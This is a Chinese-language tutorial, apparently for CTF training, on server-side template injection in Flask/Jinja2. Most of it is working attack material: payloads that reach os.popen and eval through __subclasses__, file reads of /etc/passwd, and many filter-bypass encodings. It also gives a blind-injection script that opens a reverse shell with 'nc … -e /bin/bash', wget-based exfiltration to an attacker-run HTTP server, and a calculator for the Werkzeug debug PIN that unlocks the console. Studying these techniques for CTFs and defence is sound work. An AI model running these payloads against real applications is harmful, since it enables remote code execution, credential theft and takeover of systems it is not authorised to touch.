SSTI通天指北
Python Flask变量及方法
我们这里使用python的venv环境来进行学习测试
- 创建虚拟环境:可以使用venv模块的venv函数来创建一个新的虚拟环境。例如,使用以下命令创建一个名为”myenv”的虚拟环境
1
python -m venv flask2
- 激活虚拟环境:在创建虚拟环境后,可以激活它以开始使用。激活虚拟环境将更改当前命令行会话中Python解释器和安装包的路径。根据操作系统的不同,激活命令也不同:
1
2在Windows上:执行flask2\Scripts\activate.bat
在Linux/macOS上:执行source flask2/bin/activate - 退出虚拟环境:当不再需要虚拟环境时,可以使用以下命令退出虚拟环境:
1
deactivate
1 | from flask import Flask |
通过向规则参数添加变量部分,可以动态构建URL
1 | from flask import Flask |
其中<name>
变量获取到值后就会传参给hello(name)127.0.0.1:5000/hello/动态变量
%s 格式化字符串 %d 整数 %f 浮点值
Flask HTTP方法
Http协议是万维网中数据通信的基础。在该协议中定义了从指定URL检索数据的不同方法。
在demo.py的同级目录下创建一个templates文件夹,里面放入一个index.html,其内容为
1 | <!DOCTYPE html> |
而demo.py则为:
1 | from flask import Flask,redirect,url_for,request,render_template |
可以POST提交也可以GET提交,用redirect重定向/success/user
POST提交用户名:127.0.0.1:5000
GET提交用户名:127.0.0.1:5000/login?user=lhq
flask模板介绍
视图函数的主要作用是生成请求的响应,需要处理业务逻辑和返回响应内容
把业务逻辑和表现内容放在一起,会增加代码的复杂度和维护成本。
1 | def hello(): |
使用模板:使用静态的页面html展示动态的内容
模板是一个响应文本的文件,其中占用符(变量)表示动态部分,告诉模板引擎其具体的值需要从使用的数据中获取。
使用真实值替换变量,再返回最终得到的字符串,这个过程称为”渲染”。
Flask使用Jinja2这个模板引擎来渲染模板。
这样视图函数只负责业务逻辑和数据处理,而模板取到视图函数的数据结果来进行展示
这样可以让代码结构清晰,耦合度低
render_template:
加载html文件。默认文件路径在templates目录下,在templates目录下创建index.html文件
demo.py:
1 | from flask import Flask,render_template,request |
index.html:
1 | <!DOCTYPE html> |
render_template_string
用于渲染字符串,直接定义内容
1 | from flask import Flask,render_template,request,render_template_string |
模板注入漏洞介绍
flask代码不严谨导致SSTI,可能造成任意文件读取和RCE远程控制后台系统
漏洞成因:渲染模板时,没有严格控制对用户的输入;
flask是基于python开发的一种web服务器,那么也就意味着如果用户可以和flask进行交互的话,就可以执行python的代码,比如eval,system,file等等等等之类的函数。
1 | from flask import Flask,request,render_template_string |
GET方式获取lhq的值,赋值给str
str值通过render_template_string
加载到body中间
str是被{{}}
包裹起来的,会被预先渲染转义,然后才输出,不会被渲染执行;
1 | from importlib.resources import contents |
str值通过format()函数填充到body中间
{}里可以定义任何参数return render_template_string
会把{}内的字符串当成代码指令
此时输入url:http://127.0.0.1:8080/?lhq={{7*7}}
,{{7*7}}
会被当成指令执行,回显为49http://127.0.0.1:8080/?lhq={{%27%27.__class__.__mro__}}
被当成指令来执行
SSTI
服务器端模板注入(Server-Side Template Injection),实际上也是一个注入漏洞。
判断SSTI类型:
python继承关系和魔术方法
继承关系
父类和子类
子类 调用父类下的其他子类
Python flask脚本没办法直接执行python指令
1 | classA->object->classB->Eval函数 |
object是父子关系的顶端,所有的数据类型最终的父类都是object
1 | class A:pass |
print(c.__class__)
的运行结果是<class '__main__.C'>
输出当前类Cprint(c.__class__.__base__)
的运行结果是<class '__main__.B'>
,输出类C的父类Bprint(c.__class__.__base__.__base__)
的运行结果是<class '__main__.A'>
,输出类C的父类的父类Aprint(c.__class__.__base__.__base__.__base__)
的运行结果是<class 'object'>
,此为最终的父类print(c.__class__.__mro__)
的运行结果是(<class '__main__.C'>, <class '__main__.B'>, <class '__main__.A'>, <class 'object'>)
,即罗列当前类及其所有父类print(c.__class__.__mro__[1].__subclasses__())
的结果为[<class '__main__.C'>, <class '__main__.D'>]
,输出类C的mro中的第2个父类B的所有子类print(c.__class__.__mro__[1].__subclasses__()[1])
的结果为<class '__main__.D'>
在,调用类B的第2个子类D
魔术方法
1 | __class__# 查找当前类型的所属对象 |
常用注入模块:
ssti测试用例:
1 | from flask import Flask, render_template, request, render_template_string |
最常用的一个模块是:os._wrap_close
传入参数:?x={{''.__class__.__base__.__subclasses__()}`,将结果复制到编辑器,把逗号`,`替换为`\n`,则可通过行号知道我们需要的模块的编号
![](https://cdn.jsdelivr.net/gh/2js56/PictureBed@master/images/20230926215023.png)
在第145行
于是`?x={{''.__class__.__base__.__subclasses__()[144]}}
得到我们想要的os._wrap_close
再加上.__init__
,没有出现wrapper字眼,说明已经重载,再加上.__globals__
,查看全部全局变量,有哪些可以使用的方法函数等
构造payload:
1 | ?x={{''.__class__.__base__.__subclasses__()[144].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}} |
__builtins__
提供对Python的所有”内置”标识符的直接访问eval()
计算字符串表达式的值__import__
加载os模块popen()
执行一个shell以运行命令来开启一个进程
SSTI常用注入模块
文件读取
查找子类:<class '_frozen_importlib_external.FileLoader'>
POST
1 | import requests |
GET
1 | import requests |
其中的参数x
根据题目变化而变化,而_frozen_importlib_external.FileLoader
则替换为自己想要查找的模块名字
FileLoader的利用
1 | ["get_data"](0,"/etc/passwd") |
调用get_data
方法,传入参数0和文件路径{{config}}
通过这个查看配置文件里面有没有flag
内建函数eval执行命令
内建函数: python在执行脚本时自动加载的函数
python脚本查看可利用内建函数eval的模块
GET
1 | import requests |
POST
1 | import requests |
Payload:
1 | {{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /etc/passwd").read()')}} |
os模块执行命令
在其他函数中直接调用os模块
通过config
,调用os
1 | {{config.__class__.__init__.__globals__['os'].popen('whoami').read()}} |
通过url_for
,调用os
1 | {{url_for.__globals__.os.popen('whoami').read()}} |
在已经加载os模块的子类里直接调用os模块
1 | {{".__class__.__base__[0].__subclasses__()[199].__init__.__globals__['os'].popen("Is -l /opt").read()}} |
脚本查找已经加载os模块的子类:
GET
1 | import requests |
POST
1 | import requests |
improtlib类执行命令
可以加载第三方库,使用load_module加载os
通过python脚本查找_frozen_importlib.BuiltinImporter
然后加上["load_module"]("os")["popen"]("ls -l /opt").read()
linecache函数执行命令
linecache函数可用于读取任意一个文件的某一行,而这个函数中也引入了os模块,所以我们也可以利用这个linecache函数去执行命令。
和eval函数一样的脚本将eval替换掉即可,然后在后面加上['linecache']['os'].popen("Is -l /").read()
subprocess.Popen
从python2.4版本开始,可以用subprocess这个模块来产生子进程,并连接到子进程的标准输入/输出/错误中去,还可以得到子进程的返回值。
subprocess意在替代其他几个老的模块或者函数,比如: os.system、os.popen等函数。
用python脚本查找subprocess.Popen类
然后在后面添加('ls /',shell=True,stdout=-1).communicate()[0].strip()
绕过过滤双大括号
{% %}
使用介绍:{% %}
是属于flask的控制语句,且以{% end... %}
结尾,可以通过在控制语句定义变量或者写循环,判断。
示例:
demo.py:
1 | from flask import Flask, render_template |
index.html:
1 | <!DOCTYPE html> |
判断语句
可以在index.html页面中的title下面插入一段
1 | style> |
将控制块改为:
1 | {% for girl in girls %} |
得到结果
当进行SSTI时,发现{{}}
被过滤,尝试{% %}
,判断语句能否正常执行
1 | {% if 2>1 %}lhq{% endif %} |
显示lhq说明正常执行
1 | {% if ''.__class__ %}lhq{% endif %} |
回显lhq说明''.__class__
有内容
那么可以构造:
1 | {%if ''.__class__.__base__.__subclasses__()['+str(i)+'].__init__.__globals__["popen"]("cat /etc/passwd").read() %}lhq{% endif %} |
如果有回显lhq说明命令正常执行
编写脚本:
POST
1 | import requests |
GET
1 | import requests |
查找object下面的子类的某一个能直接调用globals下面的popen指令
得到结果后,print()
执行命令
1 | {% print(''.__class__.__base__.__subclasses__()['+str(i)+'].__init__.__globals__["popen"]("cat /etc/passwd").read()) %} |
无回显SSTI
SSTI盲注思路
- 反弹shell
通过rce反弹一个shell出来绕过无回显的页面 - 带外注入
通过requestbin或dnslog的方式将信息传到外界 - 纯盲注
总共只有两个页面,一个命令执行正确,一个命令执行错误的页面
反弹shell
无回显,直接使用脚本批量执行希望执行的命令
先在kali上执行
1 | nc -lvp 7777 |
然后运行脚本:
1 | import requests |
查找包含popen的子类执行命令for i in range
循环执行,当遇到包含popen的子类时,直接执行netcat kaliIP 7777 -e /bin/bash
,监听主机收到反弹shell进入对方命令行界面
带外注入
此处使用wget
方法来带外想要知道的内容,也可以使用dnslog或者nc。
kali开一个python http监听
1 | python3 -m http.server 80 |
运行脚本
1 | import requests |
纯盲注
1 | import requests |
getitem绕过中括号过滤
__getitem__()
魔术方法:
getitem()是python的一个魔法方法,对字典使用时,传入字符串,返回字典相应键所对应的值;当对列表使用时,传入整数返回列表对应索引的值。
1 | class test(): |
若中括号被过滤,则当payload执行到{{''.__class__.__base__.__subclasses__()[]}}
时会遭遇WAF,但是由于我们的subclasses查询的结果是一个list,所以我们使用__getitem__(117)
,来代替中括号的作用
request绕过单双引号过滤
request在flask中可以访问基于HTTP请求传递的所有信息
此request并非python的函数,而是在flask内部的函数
demo.py:
1 | from flask import Flask, render_template,request |
index.html:
1 | <!DOCTYPE html> |
在构造payload时大多会用到单双引号
先通过脚本查找request模块所在位置'os._wrap_close'
内可以执行,因此查找该模块位置
1 | import requests |
如果被过滤,则可以构造
1 | code={{().__class__.__base__.__subclasses__()[117].__init__.__globals__[request.args.lhq](request.args.cmd).read()}} |
同时通过get提交参数?lhq=popen&cmd=cat flag
post同理,无非就是将参数一起提交
1 | code={{().__class__.__base__.__subclasses__()[117].__init__.__globals__[request.form.lhq](request.form.cmd).read()}}&lhq=popen&cmd=cat flag |
cookie方式
1 | code={{().__class__.__base__.__subclasses__()[117].__init__.__globals__[request.cookie.lhq](request.cookie.cmd).read()}} |
同时提交cookie:lhq=popen;cmd=cat flag
attr过滤器绕过下划线过滤
过滤器通过管道符号(|)与变量连接,并且在括号中可能有可选的参数。
flask常用过滤器:
1 | length():#获取一个序列或者字典的长度并将其返回; |
app.py:
1 | from flask import Flask, render_template, request |
index.html:
1 | <!DOCTYPE html> |
输出:
1 | 当前用户总共:5人 |
想要绕过下划线过滤,此处需要用到attr():#获取对象的属性。
- 使用request方法
即{{().__class__.__base__}}
等价于POST提交{{()|attr(request.args.class)|attr(request.args.base)}}
加上GET提交?class=__class__&base=__base__
所以可知1
2
3
4
5原始payload:
{{''.__class__.__base__.__subclasses__().__getitem__(117).__init__.__globals__.__getitem__('popen')('cat flag').read()}}
绕过payload:
POST:code={{''|attr(request.args.cla)|attr(request.args.bas)|attr(request.args.sub)()|attr(request.args.geti)(117)|attr(request.args.ini)|attr(request.args.glo)|attr(request.args.geti)('popen')('cat /etc/passwd')|attr(read)()}}
GET:URL?cla=__class__&bas=__base__&sub=__subclasses__&geti=__getitem__&ini=__init__&glo=__globals__ - 使用unicode编码
1
2
3
4原始payload:
{{()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(199)|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("Is")|attr("read")()}}
unicode编码后的:
{{()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f")|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(199)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("os")|attr("popen")("Is")|attr("read")()}} - 使用16位编码
同理下划线转为16进制\x5f即可,此处就不再演示 - 格式化字符串
例如:{{().__class__}}
等同于{{()|attr("%c%cclass%c%c"%(95,95,95,95))}}
,其余payload依次类推
中括号绕过点’.’过滤
- 用中括号[]代替点
python语法除了可以使用点’.’来访问对象属性外,还可以使用中括号’[]’。1
2
3
4原始payload:
{{''.__class__.__base__.__subclasses__().[117].__init__.__globals__.['popen']('cat flag').read()}}
绕过payload:
{{''['__class__']['__base__']['__subclasses__']()[117]['__init__']['__globals__']['popen']('cat flag')['read']()}} - 用attr()绕过
payload语句中不会用到点’.’和中括号’[]’
上面的绕过下划线就使用了attr过滤器,这里就不再赘述
绕过关键字过滤
过滤了"class" "arg" "form" "value" "init" "global"
等关键字
以"__class__"
为例
- 字符编码(前面提过,就不再提了)
- 最简单拼接”+”:
'__cl'+'ass__'
- 使用Jinja2中的
"~"
进行拼接:{% set a="__cla" %}{% set b="ss__" %}{{a~b}}
- 使用过滤器(reverse反转、replace替换、join拼接等):
{% set a="__ssalc__"|reverse %}{{()[a]}}
{% set a="__claee__"|replace("ee","ss") %}{{()[a]}}
{% set a=dict(__cla=a,ss__=a)|join %}{{()[a]}}
{% set a=['__cla','ss__']|join %}{{()[a]}}
- 利用python的char():
{% set chr=url_for.__globals__['__builtins__'].chr %}{{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}}
先用url_for找到内建函数中的chr功能赋值给chr,然后再用chr解码
length过滤器绕过数字过滤
示例demo.py
1 | from flask import Flask, render_template,request |
示例index.html
1 | <!DOCTYPE html> |
输出结果:
1 | 字符串个数:10 |
检测到数字过滤,则可以知道
1 | 原始payload: |
获取config文件
flag可能隐藏在config文件内,{{config}}
无过滤情况下可以直接查看
flask内置函数:lipsum
:可加载第三方库,url_for
:可返回url路径,get_flashed_message
:可获取消息
flask内置对象:cycler
,joiner
,namespace
,config
,request
,session
。
可利用已加载内置函数或对象寻找被过滤字符串
可利用内置函数调用current_app
模块进而查看配置文件
调用current_app
相当于调用flask
1 | {{url_for.__globals__['current_app'].config}} |
混合过滤绕过介绍
dict()和join
dict():# 用来创建一个字典
join:# 将一个序列中的参数值拼接成字符串
1 | {% set a=dict(lhq=1) %}{{a}} //创建字典a,键名lhq,键值1。 |
获取符号
利用flask内置函数和对象获取符号
1 | {% set lhq = ({}|select()|string()) %}{{lhq}} |
index.html:
1 | <!DOCTYPE html> |
输出结果:
1 | <generator object select_or_reject at 0x0000021F14707060> |
结果中存在我们想要的符号,那么要如何获取呢,此时需要用到我们的list
例如:{% set lhq = ({}|select()|string()|list) %}{{lhq}}
得到的回显是['<', 'g', 'e', 'n', 'e', 'r', 'a', 't', 'o', 'r', ' ', 'o', 'b', 'j', 'e', 'c', 't', ' ', 's', 'e', 'l', 'e', 'c', 't', '_', 'o', 'r', '_', 'r', 'e', 'j', 'e', 'c', 't', ' ', 'a', 't', ' ', '0', 'x', '0', '0', '0', '0', '0', '2', '1', 'F', '1', '4', '7', '0', '6', 'E', 'A', '0', '>']
,可以看见其被拆分开了,此时我们调用lhq[24]
,即可得到_
示例解析一
WAF过滤'
,"
,+
,request
,.
,[
,]
'
,"
我们可以使用request
方法,或者dict
,join
拼接,+
也可以使用dict
,join
拼接绕过,request
被过滤那么就不能使用request
方法了,.
我们可以使用中括号绕过,但是[
,]
也被过滤,那我们只能使用attr过滤器来绕过了,然后使用getitem方法
1 | 原始payload: |
实例解析二
WAF过滤'
,"
,_
,0-9
,.
,[
,]
,
,\
{{lipsum|string|list}}
,第9位是空格,第18位是下划线
我们可以
1 | {% set nine=dict(aaaaaaaaa=a)|join|count %} |
通过这样的方法构造出9和18
获取下划线:{% set a=lipsum|string|list|attr('__getitem__')(18) %}{{a}}
可以用pop
代替getitem
{% set a=lipsum|string|list|attr('pop')(18) %}{{a}}
,
所以:
1 | 原始payload: |
python debug pin码计算
首先需要存在文件包含或文件读取的漏洞,且开启debug功能
demo.py:
1 | from flask import Flask, render_template,request |
我们可以发现会得到一个pin码,且每次开启debug生成的pin码都是一样的
访问127.0.0.1:5000/console
,可以看见一个要求输入pin码的页面,输入正确的pin码则可进行一些命令的交互
pin码生成原理
pin码主要由六个参数构成
- username –>执行代码时候的用户名
- getattr(app,”name“,app.class.name) –>Flask
- modname –>固定值默认flask.app
- getattr(mod,”file“,None) –>app.py 文件所在路径
- str(uuid.getnode()) –>电脑上mac地址十进制
- get_machine_id() –>根据操作系统不同,有四种获取方式
一、获取username输出:1
2
3import getpass
username = getpass.getuser()
print(username)lenovo
二、获取app对象name属性getattr(app,"__name__",app.__class__.__name__)
获取的是当前app对象的1
2
3from flask import Flask
app = Flask(__name__)
print(getattr(app,"__name__",type(app).__name__))__name__
属性,若不存在则获取类的__name__
属性,默认Flask
输出:Flask
三、获取app对象module属性获取的是app对象的1
2
3
4
5
6
7from flask import Flask
import sys
import typing as t
app = Flask(__name__)
modneme = getattr(app,"__module__",t.cast(object,app).__class__.__module__)
mod = sys.modules.get(modneme)
print(mod)__module__
属性,若不存在的话取类的__module__
属性,默认为flask.app
输出:<module 'flask.app' from 'D:\\python\\lib\\site-packages\\flask\\app.py'>
四、mod的__file__属性
app.py文件所在路径输出:1
2
3
4
5
6
7from flask import Flask
import sys
import typing as t
app = Flask(__name__)
modneme = getattr(app,"__module__",t.cast(object,app).__class__.__module__)
mod = sys.modules.get(modneme)
print(mod,"__file__",None)<module 'flask.app' from 'D:\\python\\lib\\site-packages\\flask\\app.py'> __file__ None
五、uuid输出结果:0x38fc9886f29e ,十进制为626575418948141
2import uuid
print(str(hex(uuid.getnode())))
打开cmd,输入ipconfig -all
可以看到是一样的
六、get_machine_id获取
python flask版本不同,读取顺序也不同我是windows,查看注册表得到1
2
3
4Linux:/etc/machine-id,/proc/sys/kernl/random/boot_id //前者固定后者不固定
docker:/proc/self/cgroup //正则分割
macOS:ioreg -c lOPlatformExpertDevice -d 2 //"serial_number" = <{ID}部分
windows:HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Cryptography/MachineGuid //注册表daba7b5a-b0ad-485b-aacf-e311849eb139
获取六个参数后,根据python不同版本,使用计算代码,本地化生成pin码
使用脚本,将对应参数修改后运行(我这里是3.10版本的,低于3.5的是md5加密)得到结果:117-948-1721
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37import hashlib
from itertools import chain
probably_public_bits = [
'lenovo', #username
'flask.app', #modname
'Flask', #getattr(app,"__name__",app.__class__.__name__)
'D:\\python\\lib\\site-packages\\flask\\app.py' #getattr(mod,"__file__",None)
]
privcate_bits = [
'62657541894814', #str(uuid.getnode())
'daba7b5a-b0ad-485b-aacf-e311849eb139' #get_machine_id()
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, privcate_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num=None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(
num[x:x+group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size)
)
break
else:
rv = num
print(rv)
和我运行产生的pin码一致:
pin码计算CTF题
首先需要存在文件包含或文件读取的漏洞,且开启debug功能
- username –>执行代码时候的用户名
读取/etc/passwd可以看到用户名,1000以上一般为人为创建,默认用户root - getattr(app,”name“,app.class.name) –>Flask
默认为Flask - modname –>固定值默认flask.app
默认为flask.app - getattr(mod,”file“,None) –>flask目录下的一个app.py 文件的绝对路径
需要一个报错页面,或者默认路径1
2/usr/local/lib/python2.7/site-packages/flask/app.pyc # 默认路径python2.7内是app.pyc
/opt/Python/flaskdebug/lib/python2.7/site-packages/flask/app.py #通过debug报错页面获取 - str(uuid.getnode()) –>电脑上mac地址十进制
读取/sys/class/net/ens33/address #centos
读取/sys/class/net/eth0/address #ubunt - get_machine_id() –>根据操作系统不同,有四种获取方式
读取 /etc/machine-id #在前
读取/proc/self/cgroup #docker 第一行最后一部分
计算出pin码后填入进去后输入
1 | import os |
即可得到flag